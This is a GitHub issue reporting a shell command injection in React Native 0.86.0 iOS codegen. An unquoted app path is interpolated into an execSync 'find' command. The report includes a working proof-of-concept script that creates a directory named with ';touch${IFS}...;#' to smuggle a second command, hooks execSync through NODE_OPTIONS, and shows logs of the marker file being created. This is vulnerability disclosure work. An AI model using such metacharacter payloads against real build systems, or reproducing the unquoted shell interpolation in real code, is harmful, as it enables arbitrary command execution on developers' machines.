Skip to content

Command injection in iOS codegen when React Native app path contains shell metacharacters #57222

@Dremig

Description

@Dremig

Description

React Native 0.86.0 appears to pass the iOS app path into the codegen flow and later concatenates it into a shell command without quoting or using an argv-based child process API.

The issue is reachable through the React Native CocoaPods/codegen integration:

Podfile use_react_native!(app_path: ...)
  -> scripts/react_native_pods.rb run_codegen!(app_path, ...)
  -> scripts/cocoapods/codegen_utils.rb Pod::Executable.execute_command("node", [".../generate-codegen-artifacts.js", "-p", app_path, ...])
  -> scripts/codegen/generate-artifacts-executor/generateReactCodegenPodspec.js
  -> execSync(`find ${resolvedAppPath} -type d -name "*.xcodeproj"`)

If the React Native project path contains shell metacharacters, those characters are interpreted by the shell when the find command is executed. This can execute unintended commands during normal iOS codegen / pod installation.

The vulnerable command construction is in scripts/codegen/generate-artifacts-executor/generateReactCodegenPodspec.js:

const resolvedAppPath = path.resolve(appPath);
execSync(`find ${resolvedAppPath} -type d -name "*.xcodeproj"`);

The same file later also constructs another shell command using path.join(resolvedAppPath, jsSrcsDir).

Steps to reproduce

The following PoC shows the issue through the React Native CocoaPods codegen path. It does not require calling react-native/scripts/generate-codegen-artifacts.js directly from the reproducer; the Ruby codegen entry invokes Node in the same way React Native's CocoaPods integration does.

set -e

WORKDIR="$(mktemp -d /tmp/rn-codegen-poc.XXXXXX)"
cd "$WORKDIR"

npm init -y >/dev/null
npm install react-native@0.86.0 >/dev/null

ruby <<'RUBY'
require 'json'
require 'open3'
require 'pathname'
require 'fileutils'

root = Dir.pwd
app_path = File.join(root, 'rn;touch${IFS}rn-codegen-pwn;#')
marker = File.join(root, 'rn-codegen-pwn')
log = File.join(root, 'rn-execsync-ruby.log')

FileUtils.rm_rf(app_path)
FileUtils.rm_f(marker)
FileUtils.rm_f(log)
FileUtils.mkdir_p(File.join(app_path, 'src'))
File.write(File.join(app_path, 'package.json'), JSON.pretty_generate({
  name: 'rn-codegen-poc',
  codegenConfig: {
    name: 'RNCodegenPoc',
    type: 'all',
    jsSrcsDir: 'src'
  }
}))

# Hook child_process.execSync in the Node process launched by React Native's
# CocoaPods codegen helper, so the generated shell command is visible.
hook = <<~JS
  import { createRequire } from 'node:module';
  const require = createRequire('file://' + process.cwd() + '/rn-hook.js');
  const fs = require('node:fs');
  const cp = require('node:child_process');
  const originalExecSync = cp.execSync;
  cp.execSync = function hookedExecSync(command, options) {
    fs.appendFileSync(#{log.inspect}, `[execSync pid=${process.pid} cwd=${process.cwd()}] ${String(command)}\\n`);
    return originalExecSync.apply(this, arguments);
  };
JS
encoded = hook.bytes.map { |b| '%%%02X' % b }.join
ENV['NODE_OPTIONS'] = "--import=data:text/javascript,#{encoded}"

# Minimal CocoaPods API shim for the reproducer. In a normal RN iOS project,
# `pod install` provides these objects and calls the same React Native codegen path.
module Pod
  class UI
    def self.puts(message = '')
      Kernel.puts(message)
    end
    def self.warn(message = '')
      Kernel.warn(message)
    end
  end

  class Config
    def self.instance
      @instance ||= new
    end
    def installation_root
      Pathname.new(Dir.pwd)
    end
  end

  class Executable
    def self.execute_command(command, args)
      Kernel.puts "[ruby] Pod::Executable.execute_command #{command} #{args.inspect}"
      stdout, stderr, status = Open3.capture3(ENV, command, *args.map(&:to_s))
      Kernel.puts stderr unless stderr.empty?
      Kernel.puts "[ruby] child exit status: #{status.exitstatus}"
      stdout
    end
  end
end

require './node_modules/react-native/scripts/cocoapods/codegen_utils.rb'
require './node_modules/react-native/scripts/cocoapods/codegen.rb'

run_codegen!(
  app_path,
  '',
  react_native_path: './node_modules/react-native',
  codegen_output_dir: 'build/generated/ios'
)

puts "[ruby] marker exists: #{File.exist?(marker)}"
puts "[ruby] marker path: #{marker}"
puts "[ruby] execSync log:"
puts File.exist?(log) ? File.read(log) : '(no log)'
RUBY

Expected behavior: the project path should be treated only as a filesystem path.

Actual behavior: the project path is embedded into a shell command and shell metacharacters are executed.

React Native Version

0.86.0

Affected Platforms

Other (please specify), Build - MacOS

Output of npx @react-native-community/cli info

info Fetching system and libraries information...
System:
  OS: macOS 15.6
  CPU: (8) arm64 Apple M1
  Memory: 151.17 MB / 16.00 GB
  Shell:
    version: "5.9"
    path: /bin/zsh
Binaries:
  Node:
    version: 24.3.0
    path: /opt/homebrew/bin/node
  Yarn:
    version: 1.22.22
    path: /Users/Dremig/.nvm/versions/node/v24.10.0/bin/yarn
  npm:
    version: 11.4.2
    path: /opt/homebrew/bin/npm
  Watchman: Not Found
Managers:
  CocoaPods: Not Found
SDKs:
  iOS SDK: Not Found
  Android SDK: Not Found
IDEs:
  Android Studio: Not Found
  Xcode:
    version: /undefined
    path: /usr/bin/xcodebuild
Languages:
  Java:
    version: 25.0.1
    path: /usr/bin/javac
  Ruby:
    version: 2.6.10
    path: /usr/bin/ruby
npmPackages:
  "@react-native-community/cli": Not Found
  react: Not Found
  react-native:
    installed: 0.86.0
    wanted: ^0.86.0
  react-native-macos: Not Found
npmGlobalPackages:
  "*react-native*": Not Found
Android:
  hermesEnabled: Not found
  newArchEnabled: Not found
iOS:
  hermesEnabled: Not found
  newArchEnabled: Not found

Stacktrace or Logs

The PoC above produced the following evidence. The important line is the hooked `execSync` command, which shows the unquoted app path being interpolated directly into a shell command:


[ruby] Pod::Executable.execute_command node ["././node_modules/react-native/scripts/generate-codegen-artifacts.js", "-p", "/private/tmp/rn-require-poc.opPhb1/rn;touch${IFS}rn-codegen-pwn;#", "-o", #<Pathname:/private/tmp/rn-require-poc.opPhb1>, "-t", "ios"]

[Codegen] Analyzing /private/tmp/rn-require-poc.opPhb1/rn;touch${IFS}rn-codegen-pwn;#/package.json
[Codegen] Processing RNCodegenPoc
[Codegen] Generating Native Code for RNCodegenPoc - ios
[Codegen] Generated podspec: /private/tmp/rn-require-poc.opPhb1/build/generated/ios/ReactAppDependencyProvider/ReactAppDependencyProvider.podspec
find: /private/tmp/rn-require-poc.opPhb1/rn: No such file or directory
[Codegen] Error: Cannot find .xcodeproj file inside /private/tmp/rn-require-poc.opPhb1/rn;touch${IFS}rn-codegen-pwn;#. This is required to determine codegen spec paths relative to native project.
[Codegen] Done.

[ruby] marker exists: true
[ruby] marker path: /private/tmp/rn-require-poc.opPhb1/rn-codegen-pwn
[ruby] execSync log:
[execSync pid=32732 cwd=/private/tmp/rn-require-poc.opPhb1] find /private/tmp/rn-require-poc.opPhb1/rn;touch${IFS}rn-codegen-pwn;# -type d -name "*.xcodeproj"


The command executed by `execSync` contains:


find /private/tmp/rn-require-poc.opPhb1/rn;touch${IFS}rn-codegen-pwn;# -type d -name "*.xcodeproj"


The shell interprets this as multiple commands, and `touch${IFS}rn-codegen-pwn` creates the marker file.

MANDATORY Reproducer

Not posting a public reproducer because this issue appears to have security implications. A complete self-contained reproducer and execution logs are included in this report and can be shared privately with maintainers.

Screenshots and Videos

No response

Metadata

Metadata

Assignees

No one assigned

    Labels

    Needs: Author FeedbackNeeds: ReproThis issue could be improved with a clear list of steps to reproduce the issue.Platform: iOSiOS applications.

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions